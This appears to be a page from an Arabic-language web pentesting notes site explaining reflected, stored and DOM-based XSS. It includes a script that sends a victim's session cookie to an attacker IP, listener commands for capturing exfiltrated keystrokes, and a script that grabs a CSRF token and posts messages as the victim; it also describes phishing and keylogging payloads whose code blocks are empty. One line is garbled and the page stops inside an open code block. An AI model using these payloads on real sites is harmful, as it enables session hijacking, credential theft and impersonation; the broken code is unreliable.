> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xss-techniques-pentesting-web.md).
# تقنيات XSS
## XSS (منعكس):
> منعكس: يحدث هذا النوع من XSS عندما تنعكس البيانات التي يزوّدها المستخدم في استجابة HTTP دون تحقق مناسب. يتيح ذلك للمهاجم حقن شيفرة خبيثة في الاستجابة، والتي تُنفَّذ بعد ذلك في متصفح المستخدم.
* في هذه الحالة، يمكننا حقن شيفرة HTML كما في المثال أدناه: `اختبار
اختبار
`:
* يمكننا أن نرى أننا تمكّنا من تعديل حجم النص باستخدام **h1** الوسم:
## XSS (مخزَّن):
> مخزَّن: يحدث هذا النوع من XSS عندما يتمكن المهاجم من تخزين شيفرة خبيثة في قاعدة بيانات أو على خادم الويب الذي يستضيف صفحةً معرّضة للثغرة. تُنفَّذ هذه الشيفرة في كل مرة تُحمَّل فيها الصفحة. إذا شغّلنا سكربتًا مثل الذي أدناه داخل نموذج، ``، وحصلنا على التنبيه أدناه، فهذا يعني أن الموقع معرّض لهذا النوع من الهجمات:
يمكننا إعادة توجيه المستخدم إلى موقع ويب معرّض وتنفيذ هجوم تصيّد:
```javascript
```
هذا الكود بلغة JavaScript ينشئ نموذج تسجيل دخول على صفحة ويب ويرسل البيانات المُدخلة (عنوان البريد الإلكتروني وكلمة المرور) إلى عنوان IP محدد عبر طلب HTTP باستخدام `fetch()`.
```javascript
```
نستمع على المنفذ 80 باستخدام **python3**:
```bash
python3 -m http.server 80
```
## XSS (القائم على DOM):
> القائم على DOM: يحدث هذا النوع من XSS عندما تُنفَّذ الشيفرة الخبيثة في متصفح المستخدم عبر DOM (نموذج كائن المستند). يحدث ذلك عندما يقوم كود JavaScript على صفحة ويب بتعديل DOM بطريقة تتيح حقن الشيفرة الخبيثة. يمكن للسكريبت أدناه التقاط جميع ضغطات مفاتيح المستخدم وإرسالها إلى **python3** خادم عبر المنفذ 80:
```javascript
```
يمكننا الاستماع مع تصفية الأحرف المهمة فقط باستخدام **grep**:
```bash
python3 -m http.server 80 2>&1 | grep -oP 'GET //K[^.*/s]+' | sed 's/%20//g'
```
***
للحصول على ملف تعريف الارتباط للجلسة من خادم tiers، ننشئ هذا الملف على جهاز الكمبيوتر الخاص بنا **test.js**
```javascript
var query = new XMLHttpRequest();
query.open('GET', 'http://192.168.71.128/?cookie=' + document.cookie);
query.send();
```
في النموذج، نرسل هذا السكربت:
```html
```
نستمع ونحصل على ملف تعريف ارتباط الجلسة الخاص بالمستخدم:
لكتابة شيءٍ باسم شخصٍ آخر، يمكننا اتباع الخطوات التالية: اعترض الطلب باستخدام [Burp Suite](/ar/hacking-tools/web/burpsuite.md) وانسخ المحتوى المظلّل بالأحمر:
السكريبت أدناه ينفذ طلبًا إلى **GET** عنوان URL محلي، ويحلل استجابة HTML لتحديد **CSRF** رمزًا مميزًا، ثم ينفذ طلب POST ببيانات تتضمن رمز CSRF إلى العنوان نفسه. المتغير المشفّر بصيغة URL `بيانات` يرسل المعلومات إلى الخادم الذي نُفِّذ عليه هذا السكربت. من الضروري تعديل الـ `بيانات` القيم، والرمز المميز، وعنوان IP.
```javascript
var domain = "http://localhost:10007/newgossip";
var req1 = new XMLHttpRequest();
req1.open('GET', domain, false);
req1.withCredentials = true;
req1.send();
var response = req1.responseText;
var parser = new DOMParser();
var doc = parser.parseFromString(response, 'text/htmthe );
var token = doc.getElementsByName("_csrf_token")[0].value;
var req2 = new XMLHttpRequest();
var data = "title=My%20boss%20is%20a%20bastard%21%21&subtitle=I%20hate%20my%20job&text=you%20make%20me%20SICK%0A&_csrf_token=" + token;
req2.open('POST', 'http://localhost:10007/newgossip', false);
req2.withCredentials = true;
req2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
req2.send(data);
```
في النموذج، نرسل هذا السكربت:
```javascript